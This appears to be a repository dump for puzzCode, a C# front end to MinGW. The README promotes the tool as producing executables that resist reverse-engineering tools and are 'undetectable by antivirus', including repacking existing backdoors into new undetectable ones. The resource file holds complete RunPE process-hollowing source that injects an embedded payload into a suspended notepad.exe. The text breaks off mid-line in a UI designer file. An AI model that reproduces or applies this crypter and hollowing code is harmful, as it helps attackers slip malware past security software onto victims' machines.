├── LICENSE ├── README.md ├── _config.yml ├── index.html ├── puzzCode.sln ├── puzzCode ├── Program.cs ├── Properties │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ ├── Resources.resx │ ├── Settings.Designer.cs │ └── Settings.settings ├── Settings.cs ├── UI.Designer.cs ├── UI.cs ├── UI.resx ├── aboutUI.Designer.cs ├── aboutUI.cs ├── aboutUI.resx ├── app.config ├── compiler.cs ├── config.Designer.cs ├── config.cs ├── config.resx ├── obfuscator.cs ├── obj │ ├── Debug │ │ ├── gwGhost.Properties.Resources.resources │ │ ├── gwGhost.UI.resources │ │ ├── gwGhost.aboutUI.resources │ │ ├── gwGhost.config.resources │ │ ├── gwGhost.csproj.CopyComplete │ │ ├── gwGhost.csproj.FileListAbsolute.txt │ │ ├── puzzCode.Properties.Resources.resources │ │ ├── puzzCode.UI.resources │ │ ├── puzzCode.aboutUI.resources │ │ ├── puzzCode.config.resources │ │ ├── puzzCode.csproj.CopyComplete │ │ └── puzzCode.csproj.FileListAbsolute.txt │ └── Release │ │ ├── gwGhost.csproj.CopyComplete │ │ ├── gwGhost.csproj.FileListAbsolute.txt │ │ ├── puzzCode.Properties.Resources.resources │ │ ├── puzzCode.UI.resources │ │ ├── puzzCode.aboutUI.resources │ │ ├── puzzCode.config.resources │ │ ├── puzzCode.csproj.CopyComplete │ │ └── puzzCode.csproj.FileListAbsolute.txt ├── packages.config ├── puzzCode.csproj └── puzzle_x3U_icon.ico └── resources ├── 02666CA47DBF6E48FF90A7D53556B865.png ├── 454D56B8EF05426D6AE99B82B2F8A166.png ├── 7468CD0110210F9087DEB8A3FE84F929.png ├── 89EFD46DE61B09F2793982E124C535B4.png ├── 94BA0F1EF7491E9BE5F71BBE80881634.png ├── B123B443F08DF005A368FA6FD60B8EC9.png ├── D6DD734B6E8B5323148B0F707C5053B8.png ├── F3D0B8CD285ECAD326C72873AA2D0146.png ├── puzzle.png ├── snap2017-12-228.47.53.png ├── snap2017-12-228.49.07.png └── snap2017-12-228.49.36.png /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 馬聖豪 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![](resources/puzzle.png) 2 | 3 | # puzzCode(Puzzle Code) 4 | 5 | ![螢幕快照 2017-12-21 上午6.21.38.png](resources/02666CA47DBF6E48FF90A7D53556B865.png) 6 | 7 | 8 | ## Description 9 | 10 | puzzCode is a simple compiler based on mingw, written in C# to build windows applications in such a way that they can’t be analysed by standard analysis tools (e.g. IDA, Ollydbg, x64dbg, Snowman Decompiler, etc.) 11 | 12 | puzzCode is based on MinGW to compile C/C++ source code to assembly language while also obfuscating every instruction. puzzCode transforms each original instruction into obfuscated code by breaking each function into countless pieces. 13 | 14 | **The most important thing is that the executable (exe) file, once compiled by puzzCode will be undetectable by antivirus as it effectively will create a completely new application.** 15 | 16 | ### Example 17 | 18 | ``` 19 | void play(void) { 20 | int code = rand() % 3; 21 | switch (code) 22 | { 23 | case 0: 24 | MessageBoxA(0, "hello", "info", 0); 25 | break; 26 | case 1: 27 | MessageBoxA(0, "hola", "info", 0); 28 | break; 29 | default: 30 | MessageBoxA(0, ":/ ...", "info", 0); 31 | break; 32 | } 33 | } 34 | ``` 35 | 36 | ### Normal Graph Overview (IDA) 37 | 38 | It's pretty easy to understand, right? 39 | 40 | ![螢幕快照 2017-12-21 上午5.44.18.png](resources/F3D0B8CD285ECAD326C72873AA2D0146.png) 41 | 42 | 43 | ### Graph Overview, Compiled via puzzCode (IDA) 44 | 45 | ... How about now? :) 46 | 47 | ![螢幕快照 2017-12-21 上午6.16.17.png](resources/94BA0F1EF7491E9BE5F71BBE80881634.png) 48 | 49 | ### x64dbg (32bit Mode) 50 | 51 | ![](resources/snap2017-12-228.47.53.png) 52 | 53 | ![](resources/snap2017-12-228.49.07.png) 54 | 55 | ### Snowman Plug-in 56 | 57 | ![](resources/snap2017-12-228.49.36.png) 58 | 59 | ## Quick Run 60 | 61 | puzzCode only support 32bit Windows PE compiling currently. 62 | 63 | 1. Install MinGW on your windows environment: https://sourceforge.net/projects/mingw/files/Installer 64 | 65 | 2. Download from [Release Page](https://github.com/aaaddress1/puzzCode/releases), or clone this project, compile it with Visual C# 2017, you'll get puzzCode software. 66 | 67 | ## Usage 68 | 69 | ![螢幕快照 2017-12-21 上午5.36.29.png](resources/454D56B8EF05426D6AE99B82B2F8A166.png) 70 | 71 | You have to set the MinGW path on your Windows environment the first time you run puzzCode and enter compiler arguments, linker arguments, and obfuscated degree (from 0 to 100). 72 | 73 | ![螢幕快照 2017-12-21 上午6.17.08.png](resources/89EFD46DE61B09F2793982E124C535B4.png) 74 | ![螢幕快照 2017-12-21 上午6.26.18.png](resources/D6DD734B6E8B5323148B0F707C5053B8.png) 75 | 76 | After you setup the configuration, you are able to freely code in puzzCode. Simply hit the "Compile" button and the .exe file will be generated at the same path of your source code file. 77 | 78 | ### Snippet 79 | ![螢幕快照 2017-12-21 上午6.27.23.png](resources/7468CD0110210F9087DEB8A3FE84F929.png) 80 | 81 | Some backdoors and programs are really useful but what if you don't have that source code? That's Ok, your can use the `Snippet > RunPE` feature. 82 | 83 | ![螢幕快照 2017-12-21 上午6.29.06.png](resources/B123B443F08DF005A368FA6FD60B8EC9.png) 84 | 85 | puzzCode packs the program you selected, and generates the source code. **Just compile, and get a new undetectable Backdoooooor!!** 86 | 87 | *RunPE refer: https://github.com/Zer0Mem0ry/RunPE/blob/master/RunPE.cpp* 88 | -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-hacker -------------------------------------------------------------------------------- /index.html: -------------------------------------------------------------------------------- 1 | #hello world 2 | -------------------------------------------------------------------------------- /puzzCode.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.27004.2008 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "puzzCode", "puzzCode\puzzCode.csproj", "{60CC8283-8DB2-4A70-9FFB-9F097B41E4A5}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {60CC8283-8DB2-4A70-9FFB-9F097B41E4A5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {60CC8283-8DB2-4A70-9FFB-9F097B41E4A5}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {60CC8283-8DB2-4A70-9FFB-9F097B41E4A5}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {60CC8283-8DB2-4A70-9FFB-9F097B41E4A5}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {4264D6B2-2740-4E85-B90C-79BC75C0E897} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /puzzCode/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Windows.Forms; 4 | 5 | namespace puzzCode 6 | { 7 | public static class Program 8 | { 9 | public static UI mainUi ; 10 | /// 11 | /// 應用程式的主要進入點。 12 | /// 13 | [STAThread] 14 | static void Main(string[] args) 15 | { 16 | Application.EnableVisualStyles(); 17 | Application.SetCompatibleTextRenderingDefault(false); 18 | mainUi = new UI(); 19 | 20 | if (args.Length > 0) 21 | mainUi.srcPath = args[0]; 22 | 23 | Application.Run(mainUi); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /puzzCode/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // 組件的一般資訊是由下列的屬性集控制。 6 | // 變更這些屬性的值即可修改組件的相關 7 | // 資訊。 8 | [assembly: AssemblyTitle("gwGhost")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("gwGhost")] 13 | [assembly: AssemblyCopyright("Copyright © 2017")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // 將 ComVisible 設為 false 可對 COM 元件隱藏 18 | // 組件中的類型。若必須從 COM 存取此組件中的類型, 19 | // 的類型,請在該類型上將 ComVisible 屬性設定為 true。 20 | [assembly: ComVisible(false)] 21 | 22 | // 下列 GUID 為專案公開 (Expose) 至 COM 時所要使用的 typelib ID 23 | [assembly: Guid("60cc8283-8db2-4a70-9ffb-9f097b41e4a5")] 24 | 25 | // 組件的版本資訊由下列四個值所組成: 26 | // 27 | // 主要版本 28 | // 次要版本 29 | // 組建編號 30 | // 修訂編號 31 | // 32 | // 您可以指定所有的值,或將組建編號或修訂編號設為預設值 33 | // 指定為預設值: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /puzzCode/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // 這段程式碼是由工具產生的。 4 | // 執行階段版本:4.0.30319.42000 5 | // 6 | // 對這個檔案所做的變更可能會造成錯誤的行為,而且如果重新產生程式碼, 7 | // 變更將會遺失。 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace puzzCode.Properties { 12 | using System; 13 | 14 | 15 | /// 16 | /// 用於查詢當地語系化字串等的強類型資源類別。 17 | /// 18 | // 這個類別是自動產生的,是利用 StronglyTypedResourceBuilder 19 | // 類別透過 ResGen 或 Visual Studio 這類工具。 20 | // 若要加入或移除成員,請編輯您的 .ResX 檔,然後重新執行 ResGen 21 | // (利用 /str 選項),或重建您的 VS 專案。 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "15.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() { 33 | } 34 | 35 | /// 36 | /// 傳回這個類別使用的快取的 ResourceManager 執行個體。 37 | /// 38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 39 | internal static global::System.Resources.ResourceManager ResourceManager { 40 | get { 41 | if (object.ReferenceEquals(resourceMan, null)) { 42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("puzzCode.Properties.Resources", typeof(Resources).Assembly); 43 | resourceMan = temp; 44 | } 45 | return resourceMan; 46 | } 47 | } 48 | 49 | /// 50 | /// 覆寫目前執行緒的 CurrentUICulture 屬性,對象是所有 51 | /// 使用這個強類型資源類別的資源查閱。 52 | /// 53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 54 | internal static global::System.Globalization.CultureInfo Culture { 55 | get { 56 | return resourceCulture; 57 | } 58 | set { 59 | resourceCulture = value; 60 | } 61 | } 62 | 63 | /// 64 | /// 查詢類似 /* from: github.com/Zer0Mem0ry/RunPE/blob/master/RunPE.cpp 65 | /// * payload: {EXECUTABLE_FILE_PATH} 66 | /// */ 67 | ///#include <stdio.h> 68 | ///#include <Windows.h> 69 | /// 70 | ///int RunPortableExecutable(void* Image) 71 | ///{ 72 | /// IMAGE_DOS_HEADER* DOSHeader; 73 | /// IMAGE_NT_HEADERS* NtHeader; 74 | /// IMAGE_SECTION_HEADER* SectionHeader; 75 | /// 76 | /// PROCESS_INFORMATION PI; 77 | /// STARTUPINFOA SI; 78 | /// 79 | /// CONTEXT* CTX; 80 | /// 81 | /// DWORD* ImageBase; //Base address of the image 82 | /// void* pImageBase; // Pointer to the image base 83 | /// 84 | /// int count; 85 | /// char CurrentFi [字串的其餘部分已遭截斷]"; 的當地語系化字串。 86 | /// 87 | internal static string templateInjectSrc { 88 | get { 89 | return ResourceManager.GetString("templateInjectSrc", resourceCulture); 90 | } 91 | } 92 | 93 | /// 94 | /// 查詢類似 #include <time.h> 95 | ///#include <stdio.h> 96 | ///#include <windows.h> 97 | /// 98 | ///void play(void) { 99 | /// int code = rand() % 3; 100 | /// switch (code) 101 | /// { 102 | /// case 0: 103 | /// MessageBoxA(0, "hello", "info", 0); 104 | /// break; 105 | /// case 1: 106 | /// MessageBoxA(0, "hola", "info", 0); 107 | /// break; 108 | /// default: 109 | /// MessageBoxA(0, ":/ ...", "info", 0); 110 | /// break; 111 | /// } 112 | ///} 113 | /// 114 | ///int main(int argc, char ** argv) { 115 | /// srand(time(0)); 116 | /// play(); 117 | /// return 0; [字串的其餘部分已遭截斷]"; 的當地語系化字串。 118 | /// 119 | internal static string templateSrc { 120 | get { 121 | return ResourceManager.GetString("templateSrc", resourceCulture); 122 | } 123 | } 124 | } 125 | } 126 | -------------------------------------------------------------------------------- /puzzCode/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | /* from: github.com/Zer0Mem0ry/RunPE/blob/master/RunPE.cpp 122 | * payload: {EXECUTABLE_FILE_PATH} 123 | */ 124 | #include <stdio.h> 125 | #include <Windows.h> 126 | 127 | int RunPortableExecutable(void* Image) 128 | { 129 | IMAGE_DOS_HEADER* DOSHeader; 130 | IMAGE_NT_HEADERS* NtHeader; 131 | IMAGE_SECTION_HEADER* SectionHeader; 132 | 133 | PROCESS_INFORMATION PI; 134 | STARTUPINFOA SI; 135 | 136 | CONTEXT* CTX; 137 | 138 | DWORD* ImageBase; //Base address of the image 139 | void* pImageBase; // Pointer to the image base 140 | 141 | int count; 142 | char CurrentFilePath[1024]; 143 | 144 | DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable 145 | NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize 146 | 147 | GetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable 148 | 149 | if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File. 150 | { 151 | ZeroMemory(&PI, sizeof(PI)); // Null the memory 152 | ZeroMemory(&SI, sizeof(SI)); // Null the memory 153 | 154 | if (CreateProcessA("C:\\Windows\\notepad.exe", NULL, NULL, NULL, FALSE, 155 | CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current 156 | //process in suspended state, for the new image. 157 | { 158 | // Allocate memory for the context. 159 | CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE)); 160 | CTX->ContextFlags = CONTEXT_FULL; // Context is allocated 161 | 162 | if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread 163 | { 164 | // Read instructions 165 | ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0); 166 | 167 | pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), 168 | NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); 169 | 170 | // Write the image to the process 171 | WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL); 172 | 173 | for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) 174 | { 175 | SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40)); 176 | 177 | WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), 178 | LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0); 179 | } 180 | WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), 181 | LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0); 182 | 183 | // Move address of entry point to the eax register 184 | CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint; 185 | printf("%p\n", CTX->Eax); 186 | 187 | SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context 188 | ResumeThread(PI.hThread); //´Start the process/call main() 189 | 190 | return 0; // Operation was successful. 191 | } 192 | } 193 | } 194 | } 195 | 196 | BYTE payload[] = {EXECUTABLE_FILE_PAYLOAD}; 197 | int main(void) 198 | { 199 | RunPortableExecutable(payload); 200 | return 0; 201 | } 202 | 203 | 204 | #include <time.h> 205 | #include <stdio.h> 206 | #include <windows.h> 207 | 208 | void play(void) { 209 | int code = rand() % 3; 210 | switch (code) 211 | { 212 | case 0: 213 | MessageBoxA(0, "hello", "info", 0); 214 | break; 215 | case 1: 216 | MessageBoxA(0, "hola", "info", 0); 217 | break; 218 | default: 219 | MessageBoxA(0, ":/ ...", "info", 0); 220 | break; 221 | } 222 | } 223 | 224 | int main(int argc, char ** argv) { 225 | srand(time(0)); 226 | play(); 227 | return 0; 228 | } 229 | 230 | -------------------------------------------------------------------------------- /puzzCode/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // 這段程式碼是由工具產生的。 4 | // 執行階段版本:4.0.30319.42000 5 | // 6 | // 對這個檔案所做的變更可能會造成錯誤的行為,而且如果重新產生程式碼, 7 | // 變更將會遺失。 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace puzzCode.Properties { 12 | 13 | 14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.3.0.0")] 16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { 17 | 18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 19 | 20 | public static Settings Default { 21 | get { 22 | return defaultInstance; 23 | } 24 | } 25 | 26 | [global::System.Configuration.UserScopedSettingAttribute()] 27 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 28 | [global::System.Configuration.DefaultSettingValueAttribute("C:\\MinGW\\Bin\\")] 29 | public string gwPath { 30 | get { 31 | return ((string)(this["gwPath"])); 32 | } 33 | set { 34 | this["gwPath"] = value; 35 | } 36 | } 37 | 38 | [global::System.Configuration.UserScopedSettingAttribute()] 39 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 40 | [global::System.Configuration.DefaultSettingValueAttribute("-mwindows -static -Wl,--strip-all -Wl,--image-base=0xF00000")] 41 | public string linkArg { 42 | get { 43 | return ((string)(this["linkArg"])); 44 | } 45 | set { 46 | this["linkArg"] = value; 47 | } 48 | } 49 | 50 | [global::System.Configuration.UserScopedSettingAttribute()] 51 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 52 | [global::System.Configuration.DefaultSettingValueAttribute("-Os -O3 -fno-ident")] 53 | public string clArg { 54 | get { 55 | return ((string)(this["clArg"])); 56 | } 57 | set { 58 | this["clArg"] = value; 59 | } 60 | } 61 | 62 | [global::System.Configuration.UserScopedSettingAttribute()] 63 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 64 | [global::System.Configuration.DefaultSettingValueAttribute("50")] 65 | public int obfusPcnt { 66 | get { 67 | return ((int)(this["obfusPcnt"])); 68 | } 69 | set { 70 | this["obfusPcnt"] = value; 71 | } 72 | } 73 | 74 | [global::System.Configuration.UserScopedSettingAttribute()] 75 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 76 | [global::System.Configuration.DefaultSettingValueAttribute("True")] 77 | public bool insrtJunk { 78 | get { 79 | return ((bool)(this["insrtJunk"])); 80 | } 81 | set { 82 | this["insrtJunk"] = value; 83 | } 84 | } 85 | 86 | [global::System.Configuration.UserScopedSettingAttribute()] 87 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 88 | [global::System.Configuration.DefaultSettingValueAttribute("True")] 89 | public bool cnfseCode { 90 | get { 91 | return ((bool)(this["cnfseCode"])); 92 | } 93 | set { 94 | this["cnfseCode"] = value; 95 | } 96 | } 97 | 98 | [global::System.Configuration.UserScopedSettingAttribute()] 99 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 100 | [global::System.Configuration.DefaultSettingValueAttribute("True")] 101 | public bool clnAftCompile { 102 | get { 103 | return ((bool)(this["clnAftCompile"])); 104 | } 105 | set { 106 | this["clnAftCompile"] = value; 107 | } 108 | } 109 | } 110 | } 111 | -------------------------------------------------------------------------------- /puzzCode/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | C:\MinGW\Bin\ 7 | 8 | 9 | -mwindows -static -Wl,--strip-all -Wl,--image-base=0xF00000 10 | 11 | 12 | -Os -O3 -fno-ident 13 | 14 | 15 | 50 16 | 17 | 18 | True 19 | 20 | 21 | True 22 | 23 | 24 | True 25 | 26 | 27 | -------------------------------------------------------------------------------- /puzzCode/Settings.cs: -------------------------------------------------------------------------------- 1 | namespace puzzCode.Properties { 2 | 3 | 4 | // 這個類別可以讓您處理設定類別上的特定事件: 5 | // 在設定值變更之前引發 SettingChanging 事件。 6 | // 在設定值變更之後引發 PropertyChanged 事件。 7 | // 在載入設定值之後引發 SettingsLoaded 事件。 8 | // 在儲存設定值之前引發 SettingsSaving 事件。 9 | internal sealed partial class Settings { 10 | 11 | public Settings() { 12 | // // 若要加入用於儲存與變更設定的事件處理常式,請取消註解下列程式行: 13 | // 14 | // this.SettingChanging += this.SettingChangingEventHandler; 15 | // 16 | // this.SettingsSaving += this.SettingsSavingEventHandler; 17 | // 18 | } 19 | 20 | private void SettingChangingEventHandler(object sender, System.Configuration.SettingChangingEventArgs e) { 21 | // 在此加入程式碼以處理 SettingChangingEvent 事件。 22 | } 23 | 24 | private void SettingsSavingEventHandler(object sender, System.ComponentModel.CancelEventArgs e) { 25 | // 在此加入程式碼以處理 SettingsSaving 事件。 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /puzzCode/UI.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace puzzCode 2 | { 3 | partial class UI 4 | { 5 | /// 6 | /// 設計工具所需的變數。 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// 清除任何使用中的資源。 12 | /// 13 | /// 如果應該處置 Managed 資源則為 true,否則為 false。 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form 設計工具產生的程式碼 24 | 25 | /// 26 | /// 此為設計工具支援所需的方法 - 請勿使用程式碼編輯器修改 27 | /// 這個方法的內容。 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.components = new System.ComponentModel.Container(); 32 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(UI)); 33 | this.splitContainer = new System.Windows.Forms.SplitContainer(); 34 | this.fastColoredTextBox = new FastColoredTextBoxNS.FastColoredTextBox(); 35 | this.toolbox = new System.Windows.Forms.ToolStrip(); 36 | this.compile = new System.Windows.Forms.ToolStripButton(); 37 | this.run = new System.Windows.Forms.ToolStripButton(); 38 | this.config = new System.Windows.Forms.ToolStripButton(); 39 | this.browse = new System.Windows.Forms.ToolStripButton(); 40 | this.logPanelBtn = new System.Windows.Forms.ToolStripButton(); 41 | this.Snippet = new System.Windows.Forms.ToolStripDropDownButton(); 42 | this.runPEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); 43 | this.about = new System.Windows.Forms.ToolStripButton(); 44 | this.percntLB = new System.Windows.Forms.ToolStripLabel(); 45 | this.logBox = new System.Windows.Forms.RichTextBox(); 46 | this.openFileDialog = new System.Windows.Forms.OpenFileDialog(); 47 | this.splitContainer.Panel1.SuspendLayout(); 48 | this.splitContainer.Panel2.SuspendLayout(); 49 | this.splitContainer.SuspendLayout(); 50 | ((System.ComponentModel.ISupportInitialize)(this.fastColoredTextBox)).BeginInit(); 51 | this.toolbox.SuspendLayout(); 52 | this.SuspendLayout(); 53 | // 54 | // splitContainer 55 | // 56 | this.splitContainer.BackColor = System.Drawing.SystemColors.Control; 57 | this.splitContainer.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; 58 | this.splitContainer.Dock = System.Windows.Forms.DockStyle.Fill; 59 | this.splitContainer.Location = new System.Drawing.Point(0, 0); 60 | this.splitContainer.Name = "splitContainer"; 61 | this.splitContainer.Orientation = System.Windows.Forms.Orientation.Horizontal; 62 | // 63 | // splitContainer.Panel1 64 | // 65 | this.splitContainer.Panel1.Controls.Add(this.fastColoredTextBox); 66 | this.splitContainer.Panel1.Controls.Add(this.toolbox); 67 | // 68 | // splitContainer.Panel2 69 | // 70 | this.splitContainer.Panel2.Controls.Add(this.logBox); 71 | this.splitContainer.Size = new System.Drawing.Size(791, 351); 72 | this.splitContainer.SplitterDistance = 169; 73 | this.splitContainer.SplitterWidth = 1; 74 | this.splitContainer.TabIndex = 5; 75 | // 76 | // fastColoredTextBox 77 | // 78 | this.fastColoredTextBox.AutoCompleteBracketsList = new char[] { 79 | '(', 80 | ')', 81 | '{', 82 | '}', 83 | '[', 84 | ']', 85 | '\"', 86 | '\"', 87 | '\'', 88 | '\''}; 89 | this.fastColoredTextBox.AutoScrollMinSize = new System.Drawing.Size(27, 14); 90 | this.fastColoredTextBox.BackBrush = null; 91 | this.fastColoredTextBox.CharHeight = 14; 92 | this.fastColoredTextBox.CharWidth = 8; 93 | this.fastColoredTextBox.Cursor = System.Windows.Forms.Cursors.IBeam; 94 | this.fastColoredTextBox.DisabledColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(180)))), ((int)(((byte)(180)))), ((int)(((byte)(180))))); 95 | this.fastColoredTextBox.Dock = System.Windows.Forms.DockStyle.Fill; 96 | this.fastColoredTextBox.IsReplaceMode = false; 97 | this.fastColoredTextBox.Location = new System.Drawing.Point(0, 0); 98 | this.fastColoredTextBox.Name = "fastColoredTextBox"; 99 | this.fastColoredTextBox.Paddings = new System.Windows.Forms.Padding(0); 100 | this.fastColoredTextBox.SelectionColor = System.Drawing.Color.FromArgb(((int)(((byte)(60)))), ((int)(((byte)(0)))), ((int)(((byte)(0)))), ((int)(((byte)(255))))); 101 | this.fastColoredTextBox.ServiceColors = ((FastColoredTextBoxNS.ServiceColors)(resources.GetObject("fastColoredTextBox.ServiceColors"))); 102 | this.fastColoredTextBox.Size = new System.Drawing.Size(789, 128); 103 | this.fastColoredTextBox.TabIndex = 8; 104 | this.fastColoredTextBox.Zoom = 100; 105 | // 106 | // toolbox 107 | // 108 | this.toolbox.Dock = System.Windows.Forms.DockStyle.Bottom; 109 | this.toolbox.GripStyle = System.Windows.Forms.ToolStripGripStyle.Hidden; 110 | this.toolbox.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { 111 | this.compile, 112 | this.run, 113 | this.config, 114 | this.browse, 115 | this.logPanelBtn, 116 | this.Snippet, 117 | this.about, 118 | this.percntLB}); 119 | this.toolbox.Location = new System.Drawing.Point(0, 128); 120 | this.toolbox.Name = "toolbox"; 121 | this.toolbox.RenderMode = 